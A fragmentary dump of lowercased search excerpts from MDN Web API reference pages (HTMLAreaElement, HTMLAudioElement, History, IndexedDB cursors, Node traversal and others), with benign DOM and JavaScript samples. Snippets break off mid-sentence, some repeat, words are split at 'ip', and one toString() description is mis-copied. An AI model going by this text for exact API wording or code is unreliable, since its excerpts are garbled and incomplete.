ipulating the layout and presentation of <area> elements. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle...
...mlhyperlinkelementutils.protocol is a usvstring containing the protocol component (including trailing colon ':'), of the referenced url. htmlareaelement.referrerpolicy is a domstring that reflects the referrerpolicy html attribute indicating which referrer to use when fetching the linked resource. htmlareaelement.rel is a domstring that reflects the rel html attribute, indicating relationsh
ips of the current document to the linked resource. htmlareaelement.rellist read only returns a domtokenlist that reflects the rel html attribute, indicating relationsh
ips of the current document to the linked resource, as a list of tokens. htmlhyperlinkelementutils.search is a usvstring containing the search element (including leading question mark '?'), if any, of the referenced url. htmlare...
...reflects the type html attribute, indicating the mime type of the linked resource. htmlhyperlinkelementutils.username is a usvstring containing the username specified before the domain name. methods inherits methods from its parent, htmlelement, and implements those from htmlhyperlinkelementutils. htmlhyperlinkelementutils.tostring() returns a usvstring containing the whole url of the scr
ipt executed in the worker. it is a synonym for htmlhyperlinkelementutils.href. specifications specification status comment html living standardthe definition of 'htmlareaelement' in that specification. living standard the following property has been added: download. technically, the url-related properties, media, host, hostname, pathname, port, protocol, search,...
msAudioCategory - Web APIs
y specifies the purpose of the audio or video media, such as background audio or alerts. syntax <audio controls="controls" msaudiocategory="backgroundcapablemedia"> </audio> the msaudiocategory property offers a variety of values that can enhance the behavior of your audio-aware app. note that you must set the msaudiocategory before setting the src property in code. ...
...udio controls="controls" msaudiocategory="backgroundcapablemedia"> </audio> the msaudiocategory property offers a variety of values that can enhance the behavior of your audio-aware app. note that you must set the msaudiocategory before setting the src property in code. value include a descr
iption of the property's value, including data type and what it represents. value descr
iption background capable? alert looping or longer running alert sounds: alarms ring tones ringing notification sounds that need to attenuate existing audio no backgroundcapablemedia for audio that needs to continue playing in the background. examples include the following local media playback scenarios: local playlist ...
...backgroundcapablemedia for audio that needs to continue playing in the background. examples include the following local media playback scenarios: local playlist streaming radio streaming playlist music videos streaming audio/radio, youtube, netflix, etc. yes communications for streaming communication audio such as the following: vo
ip real time chat or other type of phone calls should not be used in non-real-time or non-communication scenarios, such as audio and/or video playback, as playback startup latency is affected. *note that if msaudiocategory is set to communications, msrealtime is automatically set to true. yes foregroundonlymedia games or other sounds designed only to work in t...
HTMLAudioElement - Web APIs
it's based on, and inherits properties and methods from, the htmlmediaelement interface. ...
...created by calling mozwriteaudio(). mozsetup() sets up the audio stream to allow writing, given the number of audio channels (1 or 2) and the sample rate in khz. mozwriteaudio() writes a batch of audio frames to the stream at the current offset, returning the number of bytes actually written to the stream. examples basic usage you can create a htmlaudioelement entirely with javascr
ipt using the audio() constructor: var audioelement = new audio('car_horn.wav'); then you can invoke the play() method on the element audioelement.play(); a common gotcha is trying to play an audio element immediately on page load. modern browser's default autoplay policy will block that from happening. refer to firefox and chrome for best practices and work arounds. some of the more commonl...
...y() method on the element audioelement.play(); a common gotcha is trying to play an audio element immediately on page load. modern browser's default autoplay policy will block that from happening. refer to firefox and chrome for best practices and work arounds. some of the more commonly used properties of the audio element include src, currenttime, duration, paused, muted, and volume. this sn
ippet copies the audio file's duration to a variable: var audioelement = new audio('car_horn.wav'); audioelement.addeventlistener('loadeddata', () => { let duration = audioelement.duration; // the duration variable now holds the duration (in seconds) of the audio cl
ip }) events inherits methods from its parent, htmlmediaelement, and from its ancestor htmlelement. listen to events using add...
HTMLDialogElement - Web APIs
it inherits properties and methods from the htmlelement interface. ...
...tion> <option>brine shrimp</option> <option>red panda</option> <option>spider monkey</option> </select></p> </section> <menu> <button id="cancel" type="reset">cancel</button> <button type="submit">confirm</button> </menu> </form> </dialog> <menu> <button id="updatedetails">update details</button> </menu> <scr
ipt> (function() { var updatebutton = document.getelementbyid('updatedetails'); var cancelbutton = document.getelementbyid('cancel'); var dialog = document.getelementbyid('favdialog'); dialog.returnvalue = 'favanimal'; function opencheck(dialog) { if(dialog.open) { console.log('dialog open'); } else { console.log('dialog closed')...
... specifications specification status comment html living standardthe definition of 'htmldialogelement' in that specification. living standard html 5.2the definition of '<dialog>' in that specification. recommendation initial definition ...
HTMLElement.offsetLeft - Web APIs
border, and a red box that one might think should describe the boundaries of the span. <div style="width: 300px; border-color:blue; border-style:solid; border-width:1;"> <span>short span. ...
...that one might think should describe the boundaries of the span. <div style="width: 300px; border-color:blue; border-style:solid; border-width:1;"> <span>short span. ...
...index: 10"> </div> <scr
ipt type="text/javascr
ipt"> var box = document.getelementbyid("box"); var longspan = document.getelementbyid("longspan"); box.style.left = longspan.offsetleft + document.body.scrollleft + "px"; box.style.top = longspan.offsettop + document.body.scrolltop + "px"; box.style.width = longspan.offsetwidth + "px"; box.style.height = longspan.offsetheight + "px"; </scr
ipt> specification specification status comment css object model (cssom) view modulethe definition of 'offsetleft' in that specification. working draft ...
HTMLElement.title - Web APIs
living standard no change from document object model (dom) level 2 html specification. ...
... living standard no change from document object model (dom) level 2 html specification. ...
... living standard no change from document object model (dom) level 2 html specification. ...
HTMLElement - Web APIs
the element is editable and a value of false means it isn't. htmlelement.iscontenteditable read only returns a boolean that indicates whether or not the content of the element can be edited. htmlelement.contextmenu is a htmlmenuelement representing the contextual menu associated with the element. it may be null. htmlorforeignelement.dataset read only returns a domstringmap with which scr
ipt can read and write the element's custom data attributes (data-*) . htmlelement.dir is a domstring, reflecting the dir global attribute, representing the directionality of the element. possible values are "ltr", "rtl", and "auto". htmlelement.draggable is a boolean indicating if the element can be dragged. htmlelement.dropzone read only returns a domsettabletokenlist reflecting the dropzon...
...r agent must act as though the given node is absent for the purposes of user interaction events, in-page text searches ("find in page"), and text selection. htmlelement.innertext represents the "rendered" text content of a node and its descendants. as a getter, it approximates the text the user would get if they highlighted the contents of the element with the cursor and then copied it to the cl
ipboard. htmlelement.itemscope is a boolean representing the item scope. htmlelement.itemtype read only returns a domsettabletokenlist... htmlelement.itemid is a domstring representing the item id. htmlelement.itemref read only returns a domsettabletokenlist... htmlelement.itemprop read only returns a domsettabletokenlist... htmlelement.itemvalue returns a object representing...
...em id. htmlelement.itemref read only returns a domsettabletokenlist... htmlelement.itemprop read only returns a domsettabletokenlist... htmlelement.itemvalue returns a object representing the item value. htmlelement.lang is a domstring representing the language of an element's attributes, text, and element contents. htmlelement.nomodule is a boolean indicating whether an import scr
ipt can be executed in user agents that support module scr
ipts. htmlorforeignelement.nonce returns the cryptographic number used once that is used by content security policy to determine whether a given fetch will be allowed to proceed. htmlelement.offsetheight read only returns a double containing the height of an element, relative to the layout. htmlelement.offsetleft read only returns a...
HTMLImageElement - Web APIs
the htmlimageelement interface represents an html <img> element, providing the properties and methods used to man
ipulate image elements. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25...
...to the element by changing the url in the src attribute. htmlimageelement.srcset a usvstring reflecting the srcset html attribute. this specifies a list of candidate images, separated by commas (',', u+002c comma). each candidate image is a url followed by a space, followed by a specially-formatted string indicating the size of the image. the size may be specified either the width or a size mult
iple. read the srcset page for specifics on the format of the size substring. htmlimageelement.usemap a domstring reflecting the usemap html attribute, containing the page-local url of the <map> element describing the image map to use. the page-local url is a pound (hash) symbol (#) followed by the id of the <map> element, such as #my-map-element. the <map> in turn contains <area> elements indicat...
...lignment. htmlimageelement.border a domstring which defines the width of the border surrounding the image. this is deprecated; use the css border property instead. htmlimageelement.hspace an integer value which specifies the amount of space (in pixels) to leave empty on the left and right sides of the image. htmlimageelement.longdesc a usvstring specifying the url at which a long descr
iption of the image's contents may be found. this is used to turn the image into a hyperlink automatically. modern html should instead simply place an <img> inside an <a> element defining the hyperlink. htmlimageelement.lowsrc a usvstring specifying the url of a low-quality (but faster to load) version of the same image. this was once used by browsers under constrained network conditions or on s...
HTMLInputElement.stepUp() - Web APIs
the default value for the parameter, if no value is passed, is 1. the method will not cause the value to exceed the set max value, or defy the constraints set by the step attribute. if the value before invoking the stepup() method is invalid--for example, if it doesn't match the constraints set by the step attribute--invoking ...
...try...
...t.getelementbyid('thenumber') let val = document.getelementbyid('incrementer').value if (val) { /* increment with a parameter */ input.stepup(val) } else { /* or without a parameter. try it with 0 */ input.stepup() } } css input:invalid { border: red solid 3px; } result note if you don't pass a parameter to the stepup method, it defaults to 1. any other value is a mult
iplier of the step attribute value, which in this case is 5. if you pass 4 as the stepincrement, the input will stepup by 4 * 5, or 20. if the parameter is 0, the number will not be incremented. the stepup will not allow the input to out of range, in this case stopping when it reaches 400, and rounding down any floats that are passed as a parameter. try setting the step increment to 1.2. what happe...
HTMLLinkElement - Web APIs
this object inherits all of the properties and methods of the htmlelement interface. ...
...lang is a domstring representing the language code for the linked resource. htmllinkelement.media is a domstring representing a list of one or more media formats to which the resource applies. htmllinkelement.referrerpolicy is a domstring that reflects the referrerpolicy html attribute indicating which referrer to use. htmllinkelement.rel is a domstring representing the forward relationsh
ip of the linked resource from the document to the resource. htmllinkelement.rellist read only is a domtokenlist that reflects the rel html attribute, as a list of tokens. htmllinkelement.sizes read only is a domsettabletokenlist that reflects the sizes html attribute, as a list of tokens. linkstyle.sheet read only returns the stylesheet object associated with the given element, or null if ...
...sheet read only returns the stylesheet object associated with the given element, or null if there is none. htmllinkelement.type is a domstring representing the mime type of the linked resource. obsolete properties htmllinkelement.charset is a domstring representing the character encoding for the target resource. htmllinkelement.rev is a domstring representing the reverse relationsh
ip of the linked resource from the resource to the document. note: currently the w3c html 5.2 spec states that rev is no longer obsolete, whereas the whatwg living standard still has it labeled obsolete. until this discrepancy is resolved, you should still assume it is obsolete. htmllinkelement.target is a domstring representing the name of the target frame to which the resource applies. me...
HTMLElement.focus() - Web APIs
ng property: preventscroll optional a boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view. a value of false for preventscroll (the default) means that the browser will scroll the element into view after focusing it. if preventscroll is set to true, no scrolling will occur. ...
...tscroll is set to true, no scrolling will occur. ...
...ocusmethod()">click me to focus on the text field!</button> result focus on a button javascr
ipt focusmethod = function getfocus() { document.getelementbyid("mybutton").focus(); } html <button type="button" id="mybutton">click me!</button> <p></p> <button type="button" onclick="focusmethod()">click me to focus on the button!</button> result focus with focusoption javascr
ipt focusscrollmethod = function getfocus() { document.getelementbyid("mybutton").focus({preventscroll:false}); } focusnoscrollmethod = function getfocuswithoutscrolling() { document.getelementbyid("mybutton").focus({preventscroll:true}); } html <button type="button" onclick="focusscrollmethod()">click me to focus on the button!</button> <button type="button" onclick="fo...
HTMLSelectElement.form - Web APIs
a htmlformelement representing the form that this element is associated with. if the element is not associated with of a <form> element, then it returns null. ...
...dit aform = aselectelement.form.selectname; example html <form action="http://www.google.com/search" method="get"> <label>google: <input type="search" name="q"></label> <input type="submit" value="search..."> </form> javascr
ipt a property available on all form elements, "type" returns the type of the calling form element. for select, the two possible values are "select-one" or "select-mult
iple", depending on the type of selection list. ...
...pe="search" name="q"></label> <input type="submit" value="search..."> </form> javascr
ipt a property available on all form elements, "type" returns the type of the calling form element. for select, the two possible values are "select-one" or "select-mult
iple", depending on the type of selection list. the below code gives all select elements in a particular form a css class of "selectclass": <scr
ipt type="text/javascr
ipt"> var form_element = document.getelementbyid('subscribe_form'); var vist = form_element.style; if (vist.display=='' || vist.display=='none') { vist.display = 'block'; } else { vist.display = 'none'; } </scr
ipt> specifications specification status comment html living standardthe definition of 'form' in that specification. living standard ...
HTMLVideoElement - Web APIs
the htmlvideoelement interface provides special properties and methods for man
ipulating video objects. it also inherits properties and methods of htmlmediaelement and htmlelement. the list of supported media formats varies from one browser to the other. you should either provide your video in a single format that all the relevant browsers supports, or provide mult
iple video sources in enough different formats that all the browsers you need to support are covered. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web...
...eturns an unsigned long with the count of video frames that have been parsed from the media resource. htmlvideoelement.mozdecodedframes read only returns an unsigned long with the count of parsed video frames that have been decoded into images. htmlvideoelement.mozpresentedframes read only returns an unsigned long with the count of decoded frames that have been presented to the rendering p
ipeline for painting. htmlvideoelement.mozpaintedframes read only returns an unsigned long with the count of presented frames which were painted on the screen. htmlvideoelement.mozframedelay read only returns an double with the time which the last painted video frame was late by, in seconds. htmlvideoelement.mozhasaudio read only returns a boolean indicating if there is some audio associ...
...e with the time which the last painted video frame was late by, in seconds. htmlvideoelement.mozhasaudio read only returns a boolean indicating if there is some audio associated with the video. microsoft extensions htmlvideoelement.msframestep() steps the video by one frame forward or one frame backward. htmlvideoelement.mshorizontalmirror gets or sets whether a video element is fl
ipped horizontally in the display. htmlvideoelement.msinsertvideoeffect() inserts the specified video effect into the media p
ipeline. htmlvideoelement.msislayoutoptimalforplayback read only indicates whether the video can be rendered more efficiently. htmlvideoelement.msisstereo3d read only determines whether the system considers the loaded video source to be stereo 3-d or not. value set...
History.pushState() - Web APIs
whenever the user navigates to the new state, a popstate event is fired, and the state property of the event contains a copy of the history entry's state object. the state object can be anything that can be serialized. ...
... pushstate(), but it might attempt to load the url later, for instance after the user restarts the browser. the new url does not need to be absolute; if it's relative, it's resolved relative to the current url. the new url must be of the same origin as the current url; otherwise, pushstate() will throw an exception. if this parameter isn't specified, it's set to the document's current url. descr
iption in a sense, calling pushstate() is similar to setting window.location = "#foo", in that both will also create and activate another history entry associated with the current document. but pushstate() has a few advantages: the new url can be any url in the same origin as the current url. in contrast, setting window.location keeps you at the same document only if you modify only the hash. y...
...sh isn't #foo. you can associate arbitrary data with your new history entry. with the hash-based approach, you need to encode all of the relevant data into a short string. note that pushstate() never causes a hashchange event to be fired, even if the new url differs from the old url only in its hash. examples this creates a new browser history state setting the state, title, and url. javascr
ipt const state = { 'page_id': 1, 'user_id': 5 } const title = '' const url = 'hello-world.html' history.pushstate(state, title, url) specifications specification status comment html living standardthe definition of 'history.pushstate()' in that specification. living standard no change from html5. html5the definition of 'history.pushstate()' in that specifi...
History.replaceState() - Web APIs
history.replacestate() method modifies the current history entry, replacing it with the stateobj, title, and url passed in the method parameters. this method is particularly useful when you want to update the state object or url of the current history entry in response to some user action. syntax history.replacestate(stateobj, title, [url]) parameters stateobj the state object is a javascr
ipt object which is associated with the history entry passed to the replacestate method. the state object can be null. title most browsers currently ignore this parameter, although they may use it in the future. passing the empty string here should be safe against future changes to the method. alternatively, you could pass a short title for the state. url optional the url of the history entry. t...
... may use it in the future. passing the empty string here should be safe against future changes to the method. alternatively, you could pass a short title for the state. url optional the url of the history entry. the new url must be of the same origin as the current url; otherwise replacestate throws an exception. ...
... suppose now that the user navigates to https://www.microsoft.com, then clicks the back button. ...
Ajax navigation example - Web APIs
es.</p> include/before_content.php: <p> [ <a class="ajax-nav" href="first_page.php">first example</a> | <a class="ajax-nav" href="second_page.php">second example</a> | <a class="ajax-nav" href="third_page.php">third example</a> | <a class="ajax-nav" href="unexisting.php">unexisting page</a> ] </p> include/header.php: <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <scr
ipt type="text/javascr
ipt" src="js/ajax_nav.js"></scr
ipt> <link rel="stylesheet" href="css/style.css" /> js/ajax_nav.js: "use strict"; const ajaxrequest = new (function () { function closereq () { oloadingbox.parentnode && document.body.removechild(oloadingbox); bisloading = false; } function abortreq () { if (!bisloading) { return; } oreq.abort(); ...
...ching protocols", 102: "processing", 200: "ok", 201: "created", 202: "accepted", 203: "non-authoritative information", 204: "no content", 205: "reset content", 206: "partial content", 207: "multi-status", 208: "already reported", 226: "im used", 300: "mult
iple choices", 301: "moved permanently", 302: "found", 303: "see other", 304: "not modified", 305: "use proxy", 306: "reserved", 307: "temporary redirect", 308: "permanent redirect", 400: "bad request", 401: "unauthorized", 402: "payment required", 403: "for...
...gywphegxvywquaw5mbwah+qqjcgaaacwaaaaaeaaqaaadmwi63p4wyklre2mioggznadomgyjrbexwroumcg2lmdewnhqlvsyod2mbzkydadka+diaaah+qqjcgaaacwaaaaaeaaqaaadnai63p5ojcegg4qmu7dmikrxqlfuydezigbmrvsaqhwctxxf7weyb4ag1xjihkmzsiukkhiaifkecqoaaaasaaaaabaaeaaaazyiujijk8pbyjdmlfyvbovjha70gu7xsujhmktwhpakzlo9hmaokwjz7rf8aypddzkpzbqfvwqaifkecqoaaaasaaaaabaaeaaaazmiumilk8oyhphsnfzfhyumcyuhdaqxridhhbgqrokw0r8dyljd8z0fmdgsgo/
iphi5taaaifkecqoaaaasaaaaabaaeaaaaziiunink0rnzbtwgpnmgqwmdsngxgjuliweur5owu
ipz8paeame6twfwyysgo/
ipfksaaah+qqjcgaaacwaaaaaeaaqaaadmwi6imkqorfjdoe82p4wgccc4ceuqradylesojembgsuc2g7sdx3lqgbmlajibufbslkaaah+qqjcgaaacwaaaaaeaaqaaadmgi63p7wcrhznfvdmghu2nfwlwci3wgc3tswhufgxtaukgcbtgenbmjaejsxgmlwzpeaach5bakkaaaalaaaaaaqabaaaamyclrc/jdksatlqtsckdcecajdii7hcq4emtcpyrcuubjcyrghvtqlaib1yhicnlsrkaaaowaaaaaaaaaaa...
IDBCursor.continuePrimaryKey() - Web APIs
index. using it for cursors coming from an object store will throw an error. note: this feature is available in web workers. syntax cursor.continueprimarykey(key, primarykey); parameters key the key to position the cursor at. primarykey the primary key to position the cursor at. exceptions this method may raise a domexception of one of the following types: exception descr
iption transactioninactiveerror this idbcursor's transaction is inactive. dataerror the key parameter may have any of the following conditions: the key is not a valid key. the key is less than or equal to this cursor's position and the cursor's direction is next or nextunique. the key is greater than or equal to this cursor's position and this cu...
...extunique. the key is greater than or equal to this cursor's position and this cursor's direction is prev or prevunique. invalidstateerror the cursor is currently being iterated or has iterated past its end. invalidaccesserror the cursor's direction is not prev or next. ...
...ation of all articles tagged with "javascr
ipt" since your last visit: let request = articlestore.index("tag").opencursor(); let count = 0; let unreadlist = []; request.onsuccess = (event) => { let cursor = event.target.result; if (!cursor) { return; } let lastprimarykey = getlastiteratedarticleid(); if (lastprimarykey > cursor.primarykey) { cursor.continueprimarykey("javascr
ipt", lastprimarykey); return; } // update lastiteratedarticleid setlastiteratedarticleid(cursor.primarykey); // preload 5 articles into the unread list; unreadlist.push(cursor.value); if (++count < 5) { cursor.continue(); } }; specifications specification status comment indexed database api draftthe definition of 'continueprimarykey(...
IDBCursor - Web APIs
the cursor has a source that indicates which index or object store it is iterating over. it has a position within the range, and moves in a direction that is increasing or decreasing in the order of record keys. the cursor enables an application to asynchronously process all the records in the cursor's range. ...
...s are no longer available -- they were removed in gecko 25. you should use the string constants directly instead. (bug 891944) next : "next" : the cursor shows all records, including duplicates. it starts at the lower bound of the key range and moves upwards (monotonically increasing in the order of keys). nextunique : "nextunique" : the cursor shows all records, excluding duplicates. if mult
iple records exist with the same key, only the first one iterated is retrieved. it starts at the lower bound of the key range and moves upwards. prev : "prev" : the cursor shows all records, including duplicates. it starts at the upper bound of the key range and moves downwards (monotonically decreasing in the order of keys). prevunique : "prevunique" : the cursor shows all records, excluding dupl...
...t with the same key, only the first one iterated is retrieved. it starts at the lower bound of the key range and moves upwards. prev : "prev" : the cursor shows all records, including duplicates. it starts at the upper bound of the key range and moves downwards (monotonically decreasing in the order of keys). prevunique : "prevunique" : the cursor shows all records, excluding duplicates. if mult
iple records exist with the same key, only the first one iterated is retrieved. it starts at the upper bound of the key range and moves downwards. examples in this simple fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store. the cursor does not require us to select the data based on a key; we can just grab all of it. ...
IDBCursorSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable. it may however be reintroduced in the future if there is enough demand from web developers. the idbcursorsync interface of the indexeddb api represents a cursor for iterating over mult
iple records in a database. you can have only one instance of idbcursorsync representing a cursor, but you can have an unlimited number of cursors at the same time. operations are performed on the underlying index or object store. it enables an application to synchronously process all the records in the cursor's range. method overview bool continue (in optional any key); void remove () raises (idbdatab...
...sor, but you can have an unlimited number of cursors at the same time. operations are performed on the underlying index or object store. it enables an application to synchronously process all the records in the cursor's range. method overview bool continue (in optional any key); void remove () raises (idbdatabaseexception); attributes attribute type descr
iption count readonly unsigned long long the total number of objects that share the current key. direction readonly unsigned short the direction of traversal of the cursor. see constants for possible values. key readonly any the key for the record at the cursor's position. value any the value for the record at the cursor's position...
... the underlying index or object store does not support updating the record because it is open in the read_only or snapshot_read mode, or if an index record cannot be changed because the underlying index is auto-populated. serial_err if the data being stored could not be serialized by the internal structured cloning algorithm. constants constant value descr
iption next 0 this cursor includes duplicates, and its direction is monotonically increasing in the order of keys. next_no_duplicate 1 this cursor does not include duplicates, and its direction is monotonically increasing in the order of keys. prev 2 this cursor includes duplicates, and its direction is monotonically decreasing in the order of keys. ...
MouseEvent.pageX - Web APIs
document at which the mouse was clicked, regardless of any scrolling or viewport positioning that may be in effect. this property was originally specified in the touch events specification as a long integer, but was redefined in the cssom view module to be a double-precision floating-point number to allow for subpixel precision. even though numeric types both are represented by number in javascr
ipt, they may be handled differently internally in the browser's code, resulting in potential behavior differences. see browser compatibility to learn which browsers have been updated to use the revised data type. example more examples you can also see an example that demonstrates how to access the mouse position information in every available coordinate system. let's take a look at a simple exa...
.... example more examples you can also see an example that demonstrates how to access the mouse position information in every available coordinate system. let's take a look at a simple example that shows you the mouse's position relative to the page's origin. since this example is presented in an <iframe>, that top-left corner is the top-left corner of the frame, not the browser window. ...
... updatedisplay() simply replaces the contents of the <span> elements meant to contain the x and y coordinates with the values of pagex and pagey. html <div class="box"> <p> move the mouse around in this box to watch its coordinates change. </p...
Navigator.registerProtocolHandler() - Web APIs
syntax navigator.registerprotocolhandler(scheme, url, title); note: recently updated to navigator.registerprotocolhandler(scheme, url), but no browsers currently support this version. parameters scheme a string containing the protocol the site wishes to handle. ...
... registered as long as: the custom scheme's name begins with web+ the custom scheme's name includes at least 1 letter after the web+ prefix the custom scheme has only lowercase ascii letters in its name. for example, web+burger, as shown in the example below. ...
...register a protocol handler for it to handle web+burger: links, like so: navigator.registerprotocolhandler("web+burger", "https://burgers.example.com/?burger=%s", "burger handler"); this creates a handler that lets web+burger: links send the user to your site, inserting the accessed burger url into the %s placeholder. this scr
ipt must be run from the same origin as the handler url (so any page at https://burgers.example.com), and the handler url must be http or https. the user will be notified that your code asked to register the protocol handler, so that they can decide whether or not to allow it. see the screenshot below for an example on google.co.uk: specifications specification status comment ...
Online and offline events - Web APIs
er the user switches into "offline mode" by selecting the corresponding menu item (file -> work offline in firefox). additionally, this property should update whenever a browser is no longer capable of connecting to the network. according to the specification: the navigator.online attribute must return false if the user agent will not contact the network when the user follows links or when a scr
ipt requests a remote page (or knows that such an attempt would fail)... firefox 2 updates this property when switching to/from the browser's offline mode. firefox 41 updates this property when the os reports a change in network connectivity on windows, linux, and os x. this property existed in older versions of firefox and internet explorer (the specification based itself off of these prior imple...
...t prevent the user from coming online, or going offline). firefox 41 fires these events when the os reports a change in network connectivity on windows, linux, and os x. you can register listeners for these events in a few familiar ways: using addeventlistener on the window, document, or document.body by setting the .ononline or .onoffline properties on document or document.body to a javascr
ipt function object. (note: using window.ononline or window.onoffline will not work for compatibility reasons.) by specifying ononline="..." or onoffline="..." attributes on the <body> tag in the html markup. example there's a simple test case that you can run to verify that the events are working (does not work in chrome due to attaching the event listener to document.body). here's the javascr...
...t function object. (note: using window.ononline or window.onoffline will not work for compatibility reasons.) by specifying ononline="..." or onoffline="..." attributes on the <body> tag in the html markup. example there's a simple test case that you can run to verify that the events are working (does not work in chrome due to attaching the event listener to document.body). ...
NetworkInformation - Web APIs
the networkinformation interface provides information about the connection a device is using to communicate with the network and provides a means for scr
ipts to be notified if the connection type changes. the networkinformation interfaces cannot be instantiated. it is instead accessed through the connection property of the navigator interface. note: this feature is available in web workers. properties this interface also inherits properties of its parent, eventtarget. networkinformation.downlink read only returns the effective bandwidth estimate in megabits per second, rounded to the nearest mult
iple of 25 kilobits per seconds. networkinformation.downlinkmax read only returns the maximum downlink speed, in megabits per second (mbps), for the underlying connectio...
... networkinformation.savedata read only returns true if the user has set a reduced data usage option on the user agent. ...
...nk speed, in megabits per second (mbps), for the underlying connection technology. networkinformation.effectivetype read only returns the effective type of the connection meaning one of 'slow-2g', '2g', '3g', or '4g'. this value is determined using a combination of recently observed round-tr
ip time and downlink values. networkinformation.rtt read only returns the estimated effective round-tr
ip time of the current connection, rounded to the nearest mult
iple of 25 milliseconds. networkinformation.savedata read only returns true if the user has set a reduced data usage option on the user agent. networkinformation.type read only returns the type of connection a device is using to communicate with the network. it will be one of the following values: bluetooth cellular ethernet...
Node.firstChild - Web APIs
roperty returns the node's first child in the tree, or null if the node has no children. if the node is a document, it returns the first node in the list of its direct children. syntax var childnode = node.firstchild; example this example demonstrates the use of firstchild and how whitespace nodes might interfere with using this property. <p id="para-01"> <span>first span</span> </p> <scr
ipt> var p01 = document.getelementbyid('para-01'); console.log(p01.firstchild.nodename); </scr
ipt> in the above, the console will show '#text' because a text node is inserted to maintain the whitespace between the end of the opening <p> and <span> tags. any whitespace will create a #text node, from a single space to mult
iple spaces, returns, tabs, and so on. another #text node is inserted betw...
... to avoid the issue with node.firstchild returning #text or #comment nodes, parentnode.firstelementchild can be used to return only the first element node. ...
... to avoid the issue with node.firstchild returning #text or #comment nodes, parentnode.firstelementchild can be used to return only the first element node. however, node.firstelementchild requires a shim for internet explorer 9 and earlier. ...
Node.localName - Web APIs
fied name of this node. in dom4 this api was moved from node to the element and attr interfaces. ...
...dom4 this api was moved from node to the element and attr interfaces. ...
...qualified names are typically used...
Node.nextSibling - Web APIs
ent to represent whitespace in the source markup. therefore a node obtained, for example, using node.firstchild or node.previoussibling may refer to a whitespace text node rather than the actual element the author intended to get. see whitespace in the dom and w3c dom 3 faq: why are some text nodes empty? for more information. ...
...pace text node rather than the actual element the author intended to get. see whitespace in the dom and w3c dom 3 faq: why are some text nodes empty? ...
...btain the next element sk
ipping any whitespace nodes, other between-element text, or comments. example <div id="div-1">here is div-1</div> <div id="div-2">here is div-2</div> <scr
ipt> var el = document.getelementbyid('div-1').nextsibling, i = 1; console.group('siblings of div-1:'); while (el) { console.log(i, '. ', el.nodename); el = el.nextsibling; i++; } console.groupend(); </scr
ipt> /************************************************** the console displays the following: siblings of div-1 1. #text 2. div 3. #text 4. scr
ipt **************************************************/ in the above example, #text nodes are inserted in the dom where whitespace occurs between tags (i.e. after the closing tag of an element and before the opening tag of ...
NodeFilter - Web APIs
implements nor inherits any properties. methods this interface doesn't inherit any methods. nodefilter.acceptnode() returns an unsigned short that will be used to tell if a given node must be accepted or not by the nodeiterator or treewalker iteration algorithm. this method is expected to be written by the user of a nodefilter. ...
... are: constant descr
iption filter_accept value returned by the nodefilter.acceptnode() method when a node should be accepted. filter_reject value to be returned by the nodefilter.acceptnode() method when a node should be rejected. for treewalker, child nodes are also rejected. for nodeiterator, this flag is synonymous with filter_sk
ip. filter_sk
ip value to be returned by nodefilter.acceptnode() for nodes to be sk
ipped by the nodeiterator or treewalker object. the children of sk
ipped nodes are still considered. this is treated as "sk
ip this node but not its children". example const nodeiterator = document.createnodeiterator( // node to use as root document.getelementbyid('so...
.../^\s*$/.test(node.data) ) { return nodefilter.filter_accept } } }, false ); // show the content of every non-empty text node that is a child of root let node; while ((node = nodeiterator.nextnode())) { alert(node.data) } specifications specification ...
NonDocumentTypeChildNode.previousElementSibling - Web APIs
element immediately prior to the specified one in its parent's children list, or null if the specified element is the first one in the list. syntax prevnode = elementnodereference.previouselementsibling; example <div id="div-01">here is div-01</div> <div id="div-02">here is div-02</div> <li>this is a list item</li> <li>this is another list item</li> <div id="div-03">here is div-03</div> <scr
ipt> let el = document.getelementbyid('div-03').previouselementsibling; document.write('<p>siblings of div-03</p><ol>'); while (el) { document.write('<li>' + el.nodename + '</li>'); el = el.previouselementsibling; } document.write('</ol>'); </scr
ipt> this example outputs the following into the page when it loads: siblings of div-03 1. li 2. li 3. div 4. div polyfi...
... of div-03</p><ol>'); while (el) { document.write('<li>' + el.nodename + '</li>'); el = el.previouselementsibling; } document.write('</ol>'); </scr
ipt> this example outputs the following into the page when it loads: siblings of div-03 1. li 2. li 3. div 4. ...
...li>'); el = el.previouselementsibling; } document.write('</ol>'); </scr
ipt> this example outputs the following into the page when it loads: siblings of div-03 1. li 2. li 3. div 4. ...
ParentNode.querySelectorAll() - Web APIs
d documentfragment.queryselectorall() syntax elementlist = parentnode.queryselectorall(selectors); parameters selectors a domstring containing one or more selectors to match against. this string must be a valid css selector string; if it's not, a syntaxerror exception is thrown. see locating dom elements using selectors for more information about using selectors to identify elements. mult
iple selectors may be specified by separating them using commas. note: characters which are not part of standard css syntax must be escaped using a backslash character. since javascr
ipt also uses backslash escaping, special care must be taken when writing string literals using these characters. see escaping special characters for more information. return value a non-live nodelist containing on...
... in this example, when selecting .outer .i...
